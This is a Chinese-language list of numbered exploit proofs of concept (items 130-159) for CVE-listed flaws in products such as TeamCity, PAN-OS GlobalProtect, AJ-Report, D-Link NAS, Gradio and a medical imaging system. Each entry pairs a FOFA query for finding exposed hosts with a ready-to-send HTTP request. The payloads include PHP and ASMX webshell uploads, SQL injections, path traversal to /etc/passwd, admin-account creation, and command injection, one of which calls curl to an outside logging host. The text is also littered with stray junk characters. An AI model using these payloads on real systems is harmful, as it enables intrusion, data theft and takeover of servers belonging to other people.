2 C6 G5 S2 i+ a: ]+ {GET /pms?module=logging&file_name=../../../../../../../etc/passwd&number_of_lines=100 HTTP/1.1
Host: x.x.x.x
" ~+ }9 r# p( i9 }- W+ yUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
& @0 ~$ t1 T# B. v& }+ dConnection: close
9 s1 x$ {' `7 P& d+ W% Iuuid: 85f60018-a654-4410-a783-f81cbd5000b9
! q3 n2 x! H6 I" F7 `6 ]
% d6 n, K$ R9 |2 C
130. Laykefu客服系统任意文件上传
# p+ F. p' u! Y2 ^/ VFOFA：icon_hash="-334624619"
POST /admin/users/upavatar.html HTTP/1.1
Host: 127.0.0.1
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.26
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3OCVBiwBVsNuB2kR
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
* {4 ?& i( E$ Z! m; }Cookie: user_name=1; user_id=3
8 d  z- B' M7 b  s6 Y5 s7 m4 k& _Connection: close

4 t( c8 M' i6 ]5 u------WebKitFormBoundary3OCVBiwBVsNuB2kR
) ?- z' {- O( v4 t" ?5 _! YContent-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/png
$ S. Y; _6 K5 l) e
<?php phpinfo();@eval($_POST['sec']);?>
------WebKitFormBoundary3OCVBiwBVsNuB2kR--
  \" W) l$ E: C( h, ~

: n' d0 t' J- C2 m131. Mini-Tmall <=20231017 SQL注入
FOFA：icon_hash="-2087517259"
后台地址：http://localhost:8080/tmall/admin
! Q; Y1 H) z4 p7 q0 {* Y) Bhttp://localhost:8080/tmall/admin/user/1/1?orderBy=7,if((length(database())=11),SLEEP(3),0)

  \  r6 T: |( F( ?2 E132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
CVE-2024-27198
FOFA：body="Log in to TeamCity"
$ G5 K( r' v+ gPOST /pwned?jsp=/app/rest/users;.jsp HTTP/1.1
1 Z+ Q4 E& R2 n/ @8 j8 b, G3 [$ @* _Host: 192.168.40.130:8111
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: */*
" |, D$ _/ b# g% k8 {; t! r1 jContent-Type: application/json
7 Q+ D! U% {7 H/ W3 t. g1 b& CAccept-Encoding: gzip, deflate
) e/ t8 a/ ~8 `& i
{"username": "用户名", "password": "密码", "email": "test@mydomain.com", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}


CVE-2024-27199
/res/../admin/diagnostic.jsp
1 r8 S6 x% [7 E/.well-known/acme-challenge/../../admin/diagnostic.jsp
) D: R2 ^; z7 f. D6 `/update/../admin/diagnostic.jsp
) T  o/ y5 u* O

- H. v# O3 D. i/ K& \" U4 ]. G/ NCVE-2024-27198-RCE.py
& n. G; R0 k7 F5 q/ A) @* b
133. H5 云商城 file.php 文件上传
FOFA：body="/public/qbsp.php"
POST /admin/commodtiy/file.php?upload=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFQqYtrIWb8iBxUCx

4 G6 ], s* {9 }' h* O/ u% D4 n------WebKitFormBoundaryFQqYtrIWb8iBxUCx
Content-Disposition: form-data; name="file"; filename="rce.php"
Content-Type: application/octet-stream
% y# E1 ]: g5 D1 J
% C" ~1 j4 L$ D& S. d1 T<?php system("cat /etc/passwd");unlink(__FILE__);?>
------WebKitFormBoundaryFQqYtrIWb8iBxUCx--



134. 网康NS-ASG应用安全网关index.php sql注入
) J, a# [% O+ z4 V7 Q( dCVE-2024-2330
# a% \, }  {% d$ H' }Netentsec NS-ASG Application Security Gateway 6.3版本
FOFA：app="网康科技-NS-ASG安全网关"
POST /protocol/index.php HTTP/1.1
Host: x.x.x.x
Cookie: PHPSESSID=bfd2e9f9df564de5860117a93ecd82de
- Q& {* q* ^& {  L% uUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
6 q& V$ Z" Y  s' U% E5 R* kAccept-Encoding: gzip, deflate
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
8 W* q: V7 }. }+ F3 X; |Sec-Fetch-Site: same-origin
" ]& I$ I* q- E6 R9 MTe: trailers
+ q! H: y( |) l1 C( jConnection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 263
. P% J0 ]/ q* p  S4 J  D
! p2 I. m) Q8 F- l  n" B7 pjsoncontent={"protocolType":"addmacbind","messagecontent":["{\"BandIPMacId\":\"1\",\"IPAddr\":\"eth0'and(updatexml(1,concat(0x7e,(select+version())),1))='\",\"MacAddr\":\"\",\"DestIP\":\"\",\"DestMask\":\"255.255.255.0\",\"Description\":\"Sample+Description\"}"]}
$ s; r8 P9 y! }- {; k" K, V" {$ g
2 N" z, Q+ F! ^4 N8 M& {
; ]% @; H4 Z/ b* x4 V$ p0 q135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
CVE-2024-2022
Netentsec NS-ASG Application Security Gateway 6.3版本
FOFA：app="网康科技-NS-ASG安全网关"
! Z& p+ j" W! z0 `GET /admin/list_ipAddressPolicy.php?GroupId=-1+UNION+ALL+SELECT+EXTRACTVALUE(1,concat(0x7e,(select+md5(102103122)),0x7e)) HTTP/1.1
# ?% ?  F3 d8 V0 q. `0 dHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
% n1 J5 o- Y6 D1 g! b( NAccept-Language: zh-CN,zh;q=0.9
* R. O/ {. I& p- C+ CConnection: close
2 }% l  F' c8 s' W

4 i( a: M+ Q/ T  w* e% b+ u2 J136. NextChat cors SSRF
CVE-2023-49785
FOFA：title="NextChat"
GET /api/cors/http:%2f%2fnextchat.kr9dqoau.dnslog.pw%23 HTTP/1.1
Host: x.x.x.x:10000
* |! W1 V* A3 n' p# K, YUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Accept: */*
7 Y/ a! N- P3 U+ k: N4 DAccept-Language: en
Accept-Encoding: gzip


137. 福建科立迅通信指挥调度平台down_file.php sql注入
2 m+ `8 |4 f6 I/ }9 yCVE-2024-2620
$ Z4 }: _# B* X0 D% C5 i1 t- h; nFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/down_file.php?uuid=1%27%20AND%20(SELECT%205587%20FROM%20(SELECT(SLEEP(5)))pwaA)%20AND%20%27dDhF%27=%27dDhF HTTP/1.1
9 E0 `+ p0 _8 R6 t% }7 y5 fHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
1 \6 Q3 L" Y: w: rConnection: close
4 J* O( |0 }, N% z! a# [Cookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=uksj
Upgrade-Insecure-Requests: 1
+ m& p6 `4 M$ F; E: `" |
  q- |. R5 _  U! d
. d+ W% r7 u1 x9 L1 E) H% F* E1 n6 S138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
0 |0 B1 C, G* W) g* K2 i" ECVE-2024-2621
5 J) i0 I# A2 \, g" AFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/user/pwd_update.php?usr_number=1%27%20AND%20(SELECT%207872%20FROM%20(SELECT(SLEEP(5)))DHhu)%20AND%20%27pMGM%27=%27pMGM&new_password=1&sign=1 HTTP/1.1
* D, _' `# R3 I9 H+ xHost: x.x.x.x
5 e( X% W# D) n, U: \5 _! xUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
+ V9 ^! s, R' z7 PAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
  i4 A& r$ b' \& X! w6 c7 CConnection: close
Upgrade-Insecure-Requests: 1
6 o  M. f) K" W4 s

& {& i' h& _8 X1 x! _' U  A139. 福建科立讯通信指挥调度平台editemedia.php sql注入
CVE-2024-2622
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/editemedia.php?enterprise_uuid=1%27%20AND%20(SELECT%203257%20FROM%20(SELECT(SLEEP(5)))JPVs)%20AND%20%27gDyM%27=%27gDyM HTTP/1.1
Host: x.x.x.x
0 `4 Z/ U, _/ n7 L# KUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
  g8 `+ S7 x% f- s& S) r6 P1 HConnection: close
7 ^% l8 [( N5 q$ W2 e$ r8 I# m# {Cookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=cybk
Upgrade-Insecure-Requests: 1
, Z+ B6 Z' c" P6 \/ E8 _

' A' \+ H  b  k  v* ]140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
CVE-2024-2566
$ e7 C  I# L/ _* I. ]FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
, _7 H7 H! K5 H7 H" x& D: Y- v" sGET /api/client/get_extension_yl.php?imei=1%27%20AND%20(SELECT%207545%20FROM%20(SELECT(SLEEP(5)))Zjzw)%20AND%20%27czva%27=%27czva&timestamp=1&sign=1 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
6 v' I/ u# f, m. A9 y2 mAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: authcode=h8g9
9 c- ^% K, @$ z; SUpgrade-Insecure-Requests: 1


6 i4 G' M& S) e* r4 K! a: a141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
FOFA：body="指挥调度管理平台"
POST /app/ext/ajax_users.php HTTP/1.1
8 i; @% ?& l+ WHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
" f* R" h" M4 }+ s& e" [& l( f& p" HContent-Type: application/x-www-form-urlencoded


dep_level=1') UNION ALL SELECT NULL,CONCAT(0x7e,md5(1),0x7e),NULL,NULL,NULL-- -
8 b3 {7 r" }" |( g
6 L7 c5 Y4 c2 f3 E) j- d# C! M
142. CMSV6车辆监控平台系统中存在弱密码
# V6 j/ z3 _  s) [: d" XCVE-2024-29666
FOFA：body="/808gps/"
admin/admin
143. Netis WF2780 v2.1.40144 远程命令执行
CVE-2024-25850
FOFA：title='AP setup' && header='netis'
PAYLOAD

! O5 @2 m% R( c5 y" o: ]( k144. D-Link nas_sharing.cgi 命令注入
FOFA：app="D_Link-DNS-ShareCenter"
system参数用于传要执行的命令
GET /cgi-bin/nas_sharing.cgi?user=mydlinkBRionyg&passwd=YWJjMTIzNDVjYmE&cmd=15&system=aWQ= HTTP/1.1
Host: x.x.x.x
% |1 \' H- _  r& p+ P+ zUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
/ l0 a, k- s" @9 C* @& f/ KConnection: close
Accept: */*
6 H( Y+ J+ w0 L# ^3 B7 I% o- oAccept-Language: en
Accept-Encoding: gzip
# B7 Y, j( ]) y

; }& x1 v5 h; n: [! q: W: O5 e145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
- G- l( r( I, }CVE-2024-3400
$ \1 H* F5 Z, P. E# f4 XFOFA：icon_hash="-631559155"
GET /global-protect/login.esp HTTP/1.1
Host: 192.168.30.112:1005
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
Connection: close
9 H( u! Z& O, W+ F7 k3 f& ~Cookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`curl${IFS}dnslog地址`;
) M! N8 B0 ]* y' M, VAccept-Encoding: gzip


146. MajorDoMo thumb.php 未授权远程代码执行
CNVD-2024-02175
8 d6 O( Z8 {3 v8 \0 ^3 UFOFA：app="MajordomoSL"
; Q0 @# q) J% I6 Q; oGET /modules/thumb/thumb.php?url=cnRzcDovL2EK&debug=1&transport=%7C%7C+%28echo+%27%5BS%5D%27%3B+id%3B+echo+%27%5BE%5D%27%29%23%3B HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
6 w# i# @. u+ F1 OConnection: close

4 I2 x  A, p) p8 V
147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
4 m! h# _( w. c! o9 I4 oCVE-2024-32399
$ L2 r$ D1 W* y- PFOFA：body="RaidenMAILD"
% \4 q- O) `5 T! _1 }3 M4 ?# f  ?2 ^GET /webeditor/../../../windows/win.ini HTTP/1.1
8 D0 [5 l* \( GHost: 127.0.0.1:81
& s7 B# u# b! \9 p0 N, {1 wCache-Control: max-age=0
Connection: close


+ ]/ c" M; i: b: M/ d148. CrushFTP 认证绕过模板注入
+ n$ ~- B6 d( s* g5 W3 ^CVE-2024-4040
5 l, W2 _+ t! UFOFA：body="CrushFTP"
PAYLOAD
0 c$ b) H0 I" t. w: _# ?
: g( b1 J& V- a2 \0 o" _& u# p5 A" a149. AJ-Report开源数据大屏存在远程命令执行
' u2 P# C+ R+ @, ^FOFA：title="AJ-Report"

POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
4 ]& e$ |0 m/ M) PHost: x.x.x.x
/ q" v' K+ @& J# M" aUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
0 r1 D& i4 s, F: hContent-Type: application/json;charset=UTF-8
' b2 Z; P% @; a' \7 v8 FConnection: close
) T) C5 x% d, S( Z) V6 ?) ]
2 ?  p3 u2 l& ^; v3 r) Z{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"ipconfig\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}
: m! Y* [& E1 U
150. AJ-Report 1.4.0 认证绕过与远程代码执行
FOFA：title="AJ-Report"
7 P" Q% W( I+ DPOST /dataSetParam/verification;swagger-ui/ HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
/ c. K% x% [' N" _8 ?+ OAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
( h- Q7 ?/ A1 e7 B* eAccept-Encoding: gzip, deflate, br
& i4 T5 k% o/ M. P: gAccept-Language: zh-CN,zh;q=0.9
, Z5 h. p0 w$ q) z+ vContent-Type: application/json;charset=UTF-8
Connection: close
Content-Length: 339
. m/ v" i8 ?9 a! q
: n+ k0 M% ]. U* _" b{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}
1 B7 b# {1 R# S

5 @2 S2 y! D, k( O. v# D. j! F9 w2 ~151. AJ-Report 1.4.1 pageList sql注入
FOFA：title="AJ-Report"
GET /;swagger-ui/dataSource/pageList?showMoreSearch=false&pageNumber=1&pageSize=10 HTTP/1.1
& s, n; v7 @* n6 {7 X- ~( c( `2 f: tHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
. q/ ?( q; B, v' Y( m0 f+ vAccept-Encoding: gzip

4 M5 s7 J2 M% d' _" x
  D. O1 P/ T1 N; D7 N& G152. Progress Kemp LoadMaster 远程命令执行
8 N) T( H8 \; ?9 B+ _5 d7 @CVE-2024-1212
LoadMaster <= 7.2.59.2 (GA)
LoadMaster<=7.2.54.8 (LTSF)
' B+ d. w9 v7 W8 [' I' ULoadMaster <= 7.2.48.10 (LTS)
FOFA：body="LoadMaster"
JztsczsnOmRvZXNub3RtYXR0ZXI=是';ls;':doesnotmatter的base64编码
9 I' q" r# R- \GET /access/set?param=enableapi&value=1 HTTP/1.1
) y9 t# |6 \& o) `0 i* W# Q0 FHost: x.x.x.x
' F$ |, o+ B% d9 E2 _9 }+ uUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/604.1 (KHTML, like Gecko) Version/9.1.2 Safari/604.1
Connection: close
Accept: */*
Accept-Language: en
) M! i* e5 N* \% c4 l8 C4 w4 RAuthorization: Basic JztsczsnOmRvZXNub3RtYXR0ZXI=
0 b7 q! {- Z+ h! o/ q7 GAccept-Encoding: gzip
0 }5 s. c+ f7 o. \0 l, Y+ c) O
7 e3 @& {# b5 A2 O" L: P) x
) }5 a" a' m4 z6 ]+ M* {153. gradio任意文件读取
7 e0 N* m+ Q  O* l4 I6 ACVE-2024-1561FOFA：body="__gradio_mode__"
第一步，请求/config文件获取componets的id
http://x.x.x.x/config


* K% Z+ ]2 `! s7 Q第二步，将/etc/passwd的内容写入到一个临时文件
POST /component_server HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.3 Safari/605.1.1514.1.3 Ddg/14.1.3
Connection: close
" e; ?2 H3 d9 i* n7 }+ {0 eContent-Length: 115
Content-Type: application/json
  ^! P; P. S! `* g( H6 ^5 lAccept-Encoding: gzip

6 E4 r. E5 Y, S: e{"component_id": "1","data": "/etc/passwd","fn_name": "move_resource_to_block_cache","session_hash": "aaaaaaaaaaa"}
+ i3 u/ {% b/ o. i3 ^9 i

第三步访问
9 Y$ B( I, Y3 k3 ?4 K' |6 Xhttp://x.x.x.x/file=/tmp/gradio/ ... 8cdf49755073/passwd


154. 天维尔消防救援作战调度平台 SQL注入
CVE-2024-3720FOFA：body="天维尔信息科技股份有限公司" && title=="登入"
* O, B( Z$ V5 H+ jPOST /twms-service-mfs/mfsNotice/page HTTP/1.1
Host: x.x.x.x
Content-Length: 106
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
% t, x6 l, }0 }Origin: http://x.x.x.x
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://x.x.x.x/twms-service-mfs/mfsNotice/page
0 O5 o+ u9 D) J3 E4 RAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
8 {- g4 J) X( gConnection: close
3 i" X0 F2 `9 d+ H' _: y
% J7 i$ R- b3 z1 o% H" j7 L% Z8 ?{"currentPage":1,"pageSize":19,"query":{"gsdwid":"1f95b3ec41464ee8b8f223cc41847930') AND 7120=(SELECT 7120 FROM PG_SLEEP(5)) AND ('dZAi'='dZAi"},"hgubmt748n4":"="}
5 U' K% M  O# x) D& Y) j
" n* u7 N- u" `9 Y  L
155. 六零导航页 file.php 任意文件上传
+ P9 `( l5 P2 hCVE-2024-34982
1 p/ U- A! x$ u1 GFOFA：title=="上网导航 - LyLme Spage"
POST /include/file.php HTTP/1.1
Host: x.x.x.x
8 k! ^4 e* f' vUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
5 P* l$ \9 I$ F8 GConnection: close
Content-Length: 232
Accept: application/json, text/javascript, */*; q=0.01
% `% J! o* H5 M. y4 wAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: multipart/form-data; boundary=---------------------------qttl7vemrsold314zg0f
- g' U, b6 g0 |" Q& s1 c) Q* g( lX-Requested-With: XMLHttpRequest

-----------------------------qttl7vemrsold314zg0f
Content-Disposition: form-data; name="file"; filename="test.php"
; X" [" G1 }: ]( x/ E6 |5 ]) \Content-Type: image/png
% V( g# J3 g% s; _& d8 `& V, j
<?php phpinfo();unlink(__FILE__);?>
9 T+ p: `& s$ ?8 W+ N' j9 `-----------------------------qttl7vemrsold314zg0f--


7 N4 R6 m0 v0 F- w/ K访问回显文件http://x.x.x.x/files/upload/img_664ab7fd14d2c.php
0 K% ~/ \, ?' w; Y3 H6 L, f6 p
156. TBK DVR-4104/DVR-4216 操作系统命令注入
CVE-2024-3721
6 ?/ g( |' e: \$ ]2 n: m' o' ?% [FOFA："Location: /login.rsp"
" [+ D6 h1 u- o% H7 D; Q·TBK DVR-4104
+ G, E! x% y/ [' h8 U# w# ]·TBK DVR-4216
; F- U* H) t4 w7 ?( A7 Acurl "http://<dvr_host>:<port>/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=<URL_ENCODED_SHELL_COMMAND>" -H "Cookie: uid=1"
" E0 T1 L% F% \0 O- O$ H1 T

POST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=echo%3B%20echo%20asrgkjh0%20%3E%20%2Fvar%2Fexample.txt%3B%20ls%20-l%20%2Fvar%3B%20echo%20----------------%3B%20cat%20%2Fvar%2Fexample.txt%3B HTTP/1.1
- |' S0 }4 n# l% X: _Host: x.x.x.x
+ q3 C' A1 m. uUser-Agent: Mozilla/5.0 (Macintosh;T2lkQm95X0c= Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
+ U! \, J, r- ?* M6 M) p, sContent-Length: 0
Cookie: uid=1
* J- B) B1 r/ C4 w& TAccept-Encoding: gzip


157. 美特CRM upload.jsp 任意文件上传
CNVD-2023-06971
FOFA：body="/common/scripts/basic.js"
POST /develop/systparam/softlogo/upload.jsp?key=null&form=null&field=null&filetitle=null&folder=null HTTP/1.1
% P9 @: {8 P* ]- GHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Content-Length: 709
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cache-Control: max-age=0
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1imovELzPsfzp5dN
7 Z) j0 ~* k8 R9 V( d) yUpgrade-Insecure-Requests: 1
6 \( M" r2 b5 ~
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="file"; filename="kjldycpvjrm.jsp"
( P: O9 I" m% D, F* r7 d5 ]! N& N' ?+ c3 NContent-Type: application/octet-stream

nyhelxrutzwhrsvsrafb
------WebKitFormBoundary1imovELzPsfzp5dN
0 c' v: V! s) @- d# zContent-Disposition: form-data; name="key"

null
3 c! \5 l& d4 b& V- U/ Y3 Q------WebKitFormBoundary1imovELzPsfzp5dN
# E8 j  {7 \, l' HContent-Disposition: form-data; name="form"
* ^/ ]. J5 ?# J8 {- Q4 c
null
# |/ L3 \9 \( s- k------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="field"

null
------WebKitFormBoundary1imovELzPsfzp5dN
( S. {! v8 D. o1 j8 U  jContent-Disposition: form-data; name="filetitile"

) E5 {( ~3 H/ Lnull
------WebKitFormBoundary1imovELzPsfzp5dN
# l0 @# ^- f5 a" N# ?: I% z' o: b9 [Content-Disposition: form-data; name="filefolder"
: Q/ T# a( Q3 E% D1 L3 m
null
" g' F  u% U) J# S6 a/ W------WebKitFormBoundary1imovELzPsfzp5dN--


http://x.x.x.x/userfile/default/userlogo/kjldycpvjrm.jsp

158. Mura-CMS-processAsyncObject存在SQL注入
& W% d: b  F9 P2 H. fCVE-2024-32640
7 X3 X4 v, |: Z, x1 d6 kFOFA："Generator: Masa CMS"
POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
Host: {{Hostname}}
. _0 H4 e; K) ]; ?+ o* D7 [& cContent-Type: application/x-www-form-urlencoded
$ A$ l& U9 k# ?; L( B" J
object=displayregion&contenthistid=x\'&previewid=1


9 _  Y& h# s1 J8 x5 L+ \' y159. 英飞达医学影像存档与通信系统 WebJobUpload任意文件上传
FOFA："INFINITT" && (icon_hash="1474455751"|| icon_hash="702238928")
& E- S# k) Z/ i  r, R  k5 G+ hPOST /webservices/WebJobUpload.asmx HTTP/1.1
) s5 ]& I) ]% P( a, yHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Content-Length: 1080
- K; [% F# A( z# K, FAccept-Encoding: gzip, deflate
. {' [/ h0 F8 z  z$ ~/ Z# uConnection: close
Content-Type: text/xml; charset=utf-8
Soapaction: "http://rainier/jobUpload"
( ^0 T, C- d4 q5 y$ E
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
6 y1 ~# r* u- `% e- _- C<soap:Body>
4 V/ f5 ~9 W  b# p& r<jobUpload xmlns="http://rainier">
<vcode>1</vcode>
; V$ s, V2 B0 K) Q2 \<subFolder></subFolder>
, Z! F, C( j% g3 m" r<fileName>abcrce.asmx</fileName>
<bufValue>PCVAIFdlYlNlcnZpY2UgTGFuZ3VhZ2U9IkpTY3JpcHQiIENsYXNzPSJXZWJTZXJ2aWNlMSIgJT4KIAppbXBvcnQgU3lzdGVtO2ltcG9ydCBTeXN0ZW0uV2ViO2ltcG9ydCBTeXN0ZW0uSU87aW1wb3J0IFN5c3RlbS5XZWIuU2VydmljZXM7CmltcG9ydCBTeXN0ZW0uV2ViLlNjcmlwdC5TZXJ2aWNlczsKaW1wb3J0IFN5c3RlbS5XZWI7CmltcG9ydCBTeXN0ZW0uV2ViLlNlcnZpY2VzOwogCnB1YmxpYyBjbGFzcyBXZWJTZXJ2aWNlMSBlleHRlbmRzIFdlYlNlcnZpY2UKewogCldlYk1ldGhvZEF0dHJpYnV0ZSBTY3JpcHRNZXRob2RBdHRyaWJ1dGUgZnVuY3Rpb24gQ21kc2hlbGwoUGFzcyA6IFN0cmluZykgOiBWb2lkCiAgICB7CiAgICAgICAgICAgIHZhciBjIID0gSHR0cENvbnRleHQuQ3VycmVudDsKICAgICAgICAgICAgdmFyIFJlcXVlc3QgPSBjLlJlcXVlc3Q7CiAgICAgICAgICAgIHZhciBSZXNwb25zZSA9IGMuUmVzcG9uc2U7CiAgICAgICAgICAgIGV2YWwoUGFzcyk7CiAgICCB9Cn0=</bufValue>
</jobUpload>
* D. N% f9 e1 `$ o6 `2 h5 T# q+ k# m& A$ [</soap:Body>
